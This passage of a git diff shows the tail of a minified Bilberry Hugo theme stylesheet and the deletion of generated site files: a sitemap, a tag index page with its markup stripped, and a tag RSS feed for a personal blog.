format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg#OpenSans) format("svg")}@font-face{font-family:open sans;font-style:italic;font-weight:400;src:url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot);src:local("Open Sans Italic"),local(OpenSans-Italic),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.svg#OpenSans) format("svg")}@font-face{font-family:open sans;font-style:normal;font-weight:700;src:url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot);src:local("Open Sans Bold"),local(OpenSans-Bold),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.svg#OpenSans) format("svg")}@font-face{font-family:open sans;font-style:italic;font-weight:700;src:url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot);src:local("Open Sans Bold Italic"),local(OpenSans-BoldItalic),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.svg#OpenSans) format("svg")}@font-face{font-family:roboto;font-style:normal;font-weight:400;src:url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot);src:local(Roboto),local(Roboto-Regular),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg#Roboto) format("svg")}@font-face{font-family:roboto;font-style:italic;font-weight:400;src:url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot);src:local("Roboto Italic"),local(Roboto-Italic),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-italic.svg#Roboto) format("svg")}@font-face{font-family:roboto;font-style:normal;font-weight:700;src:url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot);src:local("Roboto Bold"),local(Roboto-Bold),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.svg#Roboto) format("svg")}@font-face{font-family:roboto;font-style:italic;font-weight:700;src:url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot);src:local("Roboto Bold Italic"),local(Roboto-BoldItalic),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/roboto-v18-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.svg#Roboto) format("svg")}@font-face{font-family:comfortaa;font-style:normal;font-weight:400;src:url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.eot);src:local("Comfortaa Regular"),local(Comfortaa-Regular),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-regular.svg#Comfortaa) format("svg")}@font-face{font-family:comfortaa;font-style:normal;font-weight:700;src:url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.eot);src:local("Comfortaa Bold"),local(Comfortaa-Bold),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/comfortaa-v12-vietnamese_latin_greek_cyrillic-ext_latin-ext_cyrillic-700.svg#Comfortaa) format("svg")}@font-face{font-family:roboto mono;font-style:normal;font-weight:400;src:url(https://h.cowbay.orgdist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot);src:local("Roboto Mono"),local(RobotoMono-Regular),url(https://h.cowbay.orgdist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.eot?#iefix) format("embedded-opentype"),url(https://h.cowbay.orgdist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff2) format("woff2"),url(https://h.cowbay.orgdist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.woff) format("woff"),url(https://h.cowbay.orgdist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.ttf) format("truetype"),url(https://h.cowbay.orgdist/fonts/roboto-mono-v5-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-regular.svg#RobotoMono) format("svg")}.bilberry-hugo-theme{background-color:#f1f1f1;font-family:open sans,sans-serif;color:#222;font-size:1.6em}.bilberry-hugo-theme h1,.bilberry-hugo-theme h2,.bilberry-hugo-theme h3,.bilberry-hugo-theme h4,.bilberry-hugo-theme h5,.bilberry-hugo-theme h6,.bilberry-hugo-theme .title,.bilberry-hugo-theme .subtitle{font-family:comfortaa,sans-serif}.bilberry-hugo-theme a{color:inherit;text-decoration:none;transition:all .2s ease-in-out}.bilberry-hugo-theme a:hover{color:#5c8b59}.bilberry-hugo-theme .hljs{padding:.75em;font-size:.9em}.bilberry-hugo-theme .container{width:800px;max-width:100%}.bilberry-hugo-theme *::-webkit-input-placeholder{color:#d8d7d7}.bilberry-hugo-theme *:-moz-placeholder{color:#d8d7d7}.bilberry-hugo-theme *::-moz-placeholder{color:#d8d7d7}.bilberry-hugo-theme *:-ms-input-placeholder{color:#d8d7d7}.bilberry-hugo-theme nav{background:#2d3642;color:#f1f1f1;display:none}.bilberry-hugo-theme nav.permanentTopNav{display:block}.bilberry-hugo-theme nav .container{display:flex;justify-content:space-between;align-items:center;padding:.25em 0;min-height:65px}.bilberry-hugo-theme nav ul{list-style:none;display:flex;flex-wrap:wrap;align-items:center;margin:0}.bilberry-hugo-theme nav ul li{margin-bottom:0;display:flex}.bilberry-hugo-theme nav ul li a{text-align:center;padding:1em 1.5em;display:flex}.bilberry-hugo-theme nav ul li a:hover{color:inherit;background-color:#424f60}.bilberry-hugo-theme nav .search{margin-left:auto;min-width:300px;position:relative}.bilberry-hugo-theme nav .search input{font-family:open sans,sans-serif}.bilberry-hugo-theme nav .search i{position:absolute;left:1em;top:10px;z-index:40}.bilberry-hugo-theme nav .search input{margin:0;background:0 0;border:none;color:#f1f1f1;padding-left:2.75em;width:100%;background-color:#374251}.bilberry-hugo-theme nav .search input:hover,.bilberry-hugo-theme nav .search input:focus{background-color:#424f60;border:none}.bilberry-hugo-theme nav .search .algolia-autocomplete{width:100%;color:#444}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-dropdown-menu{width:100%;border-radius:4px}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-dropdown-menu .empty{padding:.5em 1em;display:block}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-dropdown-menu .branding{font-size:.75em;text-align:right;padding:.5em 1em;background-color:#f1f1f1}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-dropdown-menu .branding img{width:3.5em;position:relative;top:.1em}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span{display:flex;justify-content:space-between;align-items:center;background-color:#fafafa}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span:hover,.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span:focus{background-color:#f5f5f5}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span .title{max-width:315px}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span.entry.category .title,.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span.entry.tag .title,.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span.entry.author .title{text-transform:capitalize}.bilberry-hugo-theme nav .search .algolia-autocomplete .aa-suggestion span .fa{font-size:1em;color:#888;text-align:right}.bilberry-hugo-theme nav .search .aa-input-container{display:inline-block;position:relative}.bilberry-hugo-theme nav .search .aa-input-search{width:300px;padding:12px 28px 12px 12px;border:1px solid #e4e4e4;box-sizing:border-box;-webkit-appearance:none;-moz-appearance:none;appearance:none}.bilberry-hugo-theme nav .search .aa-input-search::-webkit-search-decoration,.bilberry-hugo-theme nav .search .aa-input-search::-webkit-search-cancel-button,.bilberry-hugo-theme nav .search .aa-input-search::-webkit-search-results-button,.bilberry-hugo-theme nav .search .aa-input-search::-webkit-search-results-decoration{display:none}.bilberry-hugo-theme nav .search .aa-input-icon{height:16px;width:16px;position:absolute;top:50%;right:16px;-webkit-transform:translateY(-50%);transform:translateY(-50%);fill:#e4e4e4;pointer-events:none}.bilberry-hugo-theme nav .search .aa-dropdown-menu{background-color:#fff;border:1px solid #e4e4e499;min-width:300px;margin-top:10px;box-sizing:border-box}.bilberry-hugo-theme nav .search .aa-suggestion{padding:6px 12px;cursor:pointer}.bilberry-hugo-theme nav .search .aa-suggestion+.aa-suggestion{border-top:1px solid #e4e4e499}.bilberry-hugo-theme nav .search .aa-suggestions-category{border-bottom:1px solid #e4e4e499;border-top:1px solid #e4e4e499;padding:6px 12px}.bilberry-hugo-theme header{background-color:#1d1f38;color:#f1f1f1;height:20rem;display:flex;align-items:center}.bilberry-hugo-theme header .container{display:flex;flex-direction:row;align-items:center;height:100%}.bilberry-hugo-theme header .container:after{content:"";display:block;position:absolute;left:50px;top:50px;width:2px;height:100%;background:#ffffff1a;z-index:1}.bilberry-hugo-theme header .logo{font-size:40pt!important;background-color:#eee;border-radius:50%;width:90px;height:90px;border:5px #eee solid;position:relative;color:#eee;z-index:4;display:flex;align-items:center;justify-content:center}.bilberry-hugo-theme header .logo a{border:0}.bilberry-hugo-theme header .logo:hover .overlay{opacity:1}.bilberry-hugo-theme header .logo img{max-width:100%;border-radius:50%}.bilberry-hugo-theme header .logo .overlay{position:absolute;top:0;left:0;bottom:0;right:0;background-color:#5c8b59;border-radius:50%;display:flex;align-items:center;justify-content:center;transition:all .3s ease-in-out;opacity:0}.bilberry-hugo-theme header .titles{margin-left:3rem}.bilberry-hugo-theme header .titles h3{margin-bottom:0;font-size:3.25rem}.bilberry-hugo-theme header .languages{position:absolute;right:0;bottom:0;background-color:#2d3642;padding:.25em 1em;border-top-right-radius:4px;border-top-left-radius:4px}.bilberry-hugo-theme header .languages a{text-transform:uppercase;font-size:.8em;color:#f1f1f1;letter-spacing:.1em}.bilberry-hugo-theme header .languages a.active{font-weight:700}.bilberry-hugo-theme header .languages a:not(:last-child):after{content:" | ";color:inherit}.bilberry-hugo-theme header .toggler{position:absolute;right:0;top:0;background:#2d3642;padding:.375em .75em;font-size:1.125em;border-bottom-left-radius:4px;border-bottom-right-radius:4px;cursor:pointer}.bilberry-hugo-theme header .toggler.permanentTopNav{display:none}.bilberry-hugo-theme .main{margin-bottom:5em;min-height:50vh}.bilberry-hugo-theme .main:before{content:"";display:block;position:absolute;left:50px;bottom:50px;width:2px;height:100%;background:#0000000d;z-index:1}.bilberry-hugo-theme .main:after{content:"";display:block;position:absolute;left:41px;bottom:32px;height:20px;width:20px;background:#ddd;border-radius:999px;z-index:10}.bilberry-hugo-theme .main .article-wrapper{display:flex;justify-content:flex-end;padding-top:50px;min-height:90px;position:relative}.bilberry-hugo-theme .main .article-wrapper.single{padding-bottom:2.5em}.bilberry-hugo-theme .main .article-wrapper .bubble{position:absolute;left:25px;top:85px;background-color:#ccc;border:3px solid #fff;width:45px;height:45px;display:flex;align-items:center;justify-content:center;border-radius:50%;z-index:10;text-decoration:none;color:#fff;transition:all .3s ease-in-out}.bilberry-hugo-theme .main .article-wrapper .bubble .fa{font-size:15pt}.bilberry-hugo-theme .main .article-wrapper .bubble:hover{background-color:#5c8b59}.bilberry-hugo-theme article{border-radius:4px;overflow:hidden;background-color:#fff;box-shadow:0 1px 2px #0003;width:700px;position:relative}.bilberry-hugo-theme article:before{content:"";display:block;border:11px solid #0000;border-right-color:#ddd;position:absolute;top:49px;left:-22px}.bilberry-hugo-theme article:after{content:"";display:block;border:10px solid #0000;border-right-color:#fff;position:absolute;top:50px;left:-20px}.bilberry-hugo-theme article .featured-image{width:100%}.bilberry-hugo-theme article .featured-image img{width:100%}.bilberry-hugo-theme article .content{padding:2em}.bilberry-hugo-theme article .content h3{font-size:1.75em;margin-bottom:.25em}.bilberry-hugo-theme article .content h3 a{font-style:normal}.bilberry-hugo-theme article .content .meta{text-transform:uppercase;font-style:normal;letter-spacing:1px;margin-bottom:2rem;font-size:.825em;color:#999;padding-bottom:2.5%;border-bottom:3px double #eee;margin-bottom:4.5%}.bilberry-hugo-theme article .content .meta a{font-style:normal}.bilberry-hugo-theme article .content .meta span:before{content:" / ";margin:0 1rem}.bilberry-hugo-theme article .content .meta span:first-child:before{margin:0!important;content:""!important}.bilberry-hugo-theme article .content .meta span a:not(:last-child):after{content:", "}.bilberry-hugo-theme article .content a{font-style:italic}.bilberry-hugo-theme article .content a.more{display:block;margin:2.5rem 0;margin-bottom:1rem;color:#5c8b59;font-size:1.125em;text-decoration:none;font-style:normal}.bilberry-hugo-theme article .content a.more:hover{color:#999}.bilberry-hugo-theme article .content .task-list{list-style:none}.bilberry-hugo-theme article .content .task-list .task-list-item{margin-bottom:0;position:relative;top:3px;margin-right:.25em}.bilberry-hugo-theme article .content blockquote{background-color:#f6f6f6;font-family:comfortaa,sans-serif;margin:1.5em 0;padding:2em;border-left:.5em solid #ededed;font-size:1.1em}.bilberry-hugo-theme article .content blockquote cite{text-transform:uppercase;font-style:normal;font-weight:700;font-size:.9em}.bilberry-hugo-theme article .content blockquote p:last-child{margin-bottom:0}.bilberry-hugo-theme article .content img{max-width:100%}.bilberry-hugo-theme article .content video{max-width:100%}.bilberry-hugo-theme article .footer{display:flex;align-items:center;flex-direction:row;justify-content:space-between;background:#1d1f381a;font-family:roboto mono,monospace;font-size:.9em}.bilberry-hugo-theme article .footer.no-tags{flex-direction:row-reverse}.bilberry-hugo-theme article .footer .tags{display:flex;align-items:center;margin:1em 2em}.bilberry-hugo-theme article .footer .tags .links{margin-left:.75em}.bilberry-hugo-theme article .footer .tags .links a:not(:last-child):after{content:" / ";color:#222!important}.bilberry-hugo-theme article .footer .languages{display:flex;align-items:center;margin:1em 2em;white-space:nowrap}.bilberry-hugo-theme article .footer .languages .fa{font-size:1.5em}.bilberry-hugo-theme article .footer .languages .links{margin-left:.75em;text-transform:uppercase;font-family:open sans,sans-serif;letter-spacing:.1em}.bilberry-hugo-theme article .footer .languages .links a:not(:last-child):after{content:" | ";color:#222!important}.bilberry-hugo-theme article.quote{background-color:#2d3642}.bilberry-hugo-theme article.quote:after{border-right-color:#2d3642}.bilberry-hugo-theme article.quote a:hover{color:inherit;font-size:1.1em}.bilberry-hugo-theme article.quote .featured-image{position:absolute;top:0;left:0;width:100%;height:100%;z-index:5;opacity:.25}.bilberry-hugo-theme article.quote blockquote{padding:5.5%;margin:0;text-align:center;color:#fff;background:0 0;font-size:1.2em;position:relative;z-index:10}.bilberry-hugo-theme article.quote blockquote p{line-height:170%;font-size:1.1em}.bilberry-hugo-theme article.quote blockquote cite{font-family:comfortaa,sans-serif;font-weight:600;text-transform:uppercase;line-height:140%;font-size:.725em;text-align:center;letter-spacing:1px}.bilberry-hugo-theme article.quote blockquote cite:before{content:"— "}.bilberry-hugo-theme article.gallery .flexslider{margin:0;border:0}.bilberry-hugo-theme article.gallery .flexslider .flex-direction-nav a{display:flex;flex-direction:column;justify-content:center}.bilberry-hugo-theme article.gallery .flexslider .flex-direction-nav a:before{color:#ffffffe5;text-shadow:1px 1px 5px #00000080}.bilberry-hugo-theme article.video .responsive-video{position:relative;padding-bottom:56.25%;padding-top:0;height:0;overflow:hidden}.bilberry-hugo-theme article.video .responsive-video iframe{position:absolute;top:0;left:0;width:100%;height:100%}.bilberry-hugo-theme article.audio .responsive-audio iframe{width:100%}.bilberry-hugo-theme article.link{background-color:#2d3642;min-height:7em}.bilberry-hugo-theme article.link:after{border-right-color:#2d3642}.bilberry-hugo-theme article.link:hover{background-color:#5c8b59;transition:all .3s ease-in-out}.bilberry-hugo-theme article.link:hover:after{border-right-color:#5c8b59;transition:all .3s ease-in-out}.bilberry-hugo-theme article.link .featured-image{position:absolute;top:0;left:0;width:100%;height:100%;z-index:5;opacity:.25}.bilberry-hugo-theme article.link a{color:#fff;text-decoration:none;display:flex;flex-direction:column;justify-content:center;align-items:center;left:0;top:0;width:100%;height:100%;position:relative;z-index:10}.bilberry-hugo-theme article.link a h4{font-variant:small-caps;font-size:2em;margin:2rem}.bilberry-hugo-theme article.link a p{margin:2em;margin-top:0}.bilberry-hugo-theme #disqus_thread{margin-left:100px;padding-bottom:1.2em}.bilberry-hugo-theme .paginator{display:flex;margin-left:100px;margin-top:75px;padding-bottom:1em}.bilberry-hugo-theme .paginator .fa{margin:0 .25em}.bilberry-hugo-theme .paginator a{border-radius:4px;padding:1em 2em;text-decoration:none;font-weight:700;background-color:#b4b4b4;color:#fff}.bilberry-hugo-theme .paginator a:hover{background-color:#5c8b59;transition:all .3s ease-in-out}.bilberry-hugo-theme .paginator a.older{margin-right:auto}.bilberry-hugo-theme .paginator a.newer{margin-left:auto}.bilberry-hugo-theme footer{border-top:3px solid #eee;border-bottom:3px solid #eee;background-color:#fff}.bilberry-hugo-theme footer .container{padding:4rem 0;display:flex;justify-content:space-between;font-size:.9em;font-family:comfortaa,sans-serif}.bilberry-hugo-theme footer .container div:not(:first-child){margin-left:5%}.bilberry-hugo-theme footer .container:after{display:none}.bilberry-hugo-theme footer .container strong{text-transform:uppercase;color:#444;padding-bottom:.75em}.bilberry-hugo-theme footer .container ul{list-style:none;margin-top:1.25em}.bilberry-hugo-theme footer .container ul li{border-bottom:1px solid #eee;padding-right:10px}.bilberry-hugo-theme footer .container ul a{position:relative;left:0;display:inline-block;transition:left .3s ease-in-out;color:#5c8b59;font-family:open sans,sans-serif}.bilberry-hugo-theme footer .container ul a:hover{left:10px;color:#1d1f38}.bilberry-hugo-theme footer .container .right .external-profiles{width:100%;margin-bottom:2em}.bilberry-hugo-theme footer .container .right .external-profiles a{font-size:2em;margin:0 .5rem;color:#444}.bilberry-hugo-theme footer .container .right .external-profiles a:hover{color:#5c8b59}.bilberry-hugo-theme footer .container .right .external-profiles .fa-facebook-adblock-proof:before{content:"\f09a"}.bilberry-hugo-theme footer .container .right .external-profiles .fa-twitter-adblock-proof:before{content:"\f099"}.bilberry-hugo-theme footer .container .right .external-profiles .fa-google-plus-official-adblock-proof:before{content:"\f2b3"}.bilberry-hugo-theme footer .container .right .external-profiles .fa-youtube-adblock-proof:before{content:"\f167"}.bilberry-hugo-theme footer .container .right .languages{width:100%;margin-left:0}.bilberry-hugo-theme footer .container .right .languages a{text-transform:uppercase;color:#5c8b59;letter-spacing:.1em}.bilberry-hugo-theme footer .container .right .languages a.active{font-weight:700}.bilberry-hugo-theme footer .container .right .languages a:hover{color:#222}.bilberry-hugo-theme footer .container .right .languages a:not(:last-child):after{content:" | ";color:#222!important}.bilberry-hugo-theme footer .container .right strong{display:block}.bilberry-hugo-theme .credits .container{display:flex;justify-content:space-between;padding:4rem 0;font-size:.8em;color:#777}.bilberry-hugo-theme .credits .container:after{display:none}@media(max-width:834px){.bilberry-hugo-theme nav.permanentTopNav{display:none}.bilberry-hugo-theme nav .container{flex-direction:column-reverse;padding:0 1.5em}.bilberry-hugo-theme nav .container .topnav{flex-direction:column;justify-content:center;align-items:center;margin-bottom:.5em;width:100%}.bilberry-hugo-theme nav .container .topnav li{width:100%}.bilberry-hugo-theme nav .container .topnav a{padding:.75em 0;display:block;width:100%}.bilberry-hugo-theme nav .container .search{margin:.5em 1.5em;width:100%}.bilberry-hugo-theme nav .container .search input{width:100%}.bilberry-hugo-theme header{width:100%}.bilberry-hugo-theme header .container{padding:0 1em}.bilberry-hugo-theme header .toggler{right:1.5em}.bilberry-hugo-theme header .toggler.permanentTopNav{display:block}.bilberry-hugo-theme .bubble{display:none!important}.bilberry-hugo-theme .container{width:100%;padding:0}.bilberry-hugo-theme .container:before,.bilberry-hugo-theme .container:after{display:none!important}.bilberry-hugo-theme .main{margin-bottom:0}.bilberry-hugo-theme .main article{margin:0;width:100%}.bilberry-hugo-theme .main article:before,.bilberry-hugo-theme .main article:after{display:none!important}.bilberry-hugo-theme .main #disqus_thread{margin:0 1.5em}.bilberry-hugo-theme .main .paginator{margin:1.5em;margin-top:50px}.bilberry-hugo-theme footer .container{padding:4rem 1.5em;flex-direction:column;text-align:center}.bilberry-hugo-theme footer .container div{width:100%;margin:0!important;margin-top:1.5em!important}.bilberry-hugo-theme .credits .container{padding:4rem 1.5em}} \ No newline at end of file diff --git a/themes/public/sitemap.xml b/themes/public/sitemap.xml deleted file mode 100644 index 656b9da9..00000000 --- a/themes/public/sitemap.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - https://h.cowbay.org/en/sitemap.xml - - 2018-11-15T11:06:28+08:00 - - - - - https://h.cowbay.org/de/sitemap.xml - - - - diff --git a/themes/public/tags/bilberry-theme/index.html b/themes/public/tags/bilberry-theme/index.html deleted file mode 100644 index 4b7b877b..00000000 --- a/themes/public/tags/bilberry-theme/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - Bilberry Theme | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/bilberry-theme/index.xml b/themes/public/tags/bilberry-theme/index.xml deleted file mode 100644 index a5a91561..00000000 --- a/themes/public/tags/bilberry-theme/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Bilberry Theme on My cool new Blog - https://h.cowbay.org/tags/bilberry-theme/ - Recent content in Bilberry Theme on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 09:31:27 +0100 - - - - - - Installing Bilberry Theme - https://h.cowbay.org/code/installing-bilberry-theme/ - Wed, 01 Nov 2017 09:31:27 +0100 - - https://h.cowbay.org/code/installing-bilberry-theme/ - <p>You will find all information to setup this theme with your hugo site -on the official <br> <a href="https://github.com/Lednerb/bilberry-hugo-theme">Github Repository</a>.</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/tags/bilberry-theme/page/1/index.html b/themes/public/tags/bilberry-theme/page/1/index.html deleted file mode 100644 index 0126d66c..00000000 --- a/themes/public/tags/bilberry-theme/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/bilberry-theme/ \ No newline at end of file diff --git a/themes/public/tags/blog/page/1/index.html b/themes/public/tags/blog/page/1/index.html deleted file mode 100644 index df945ff9..00000000 --- a/themes/public/tags/blog/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/blog/ \ No newline at end of file diff --git a/themes/public/tags/bookstack/index.html 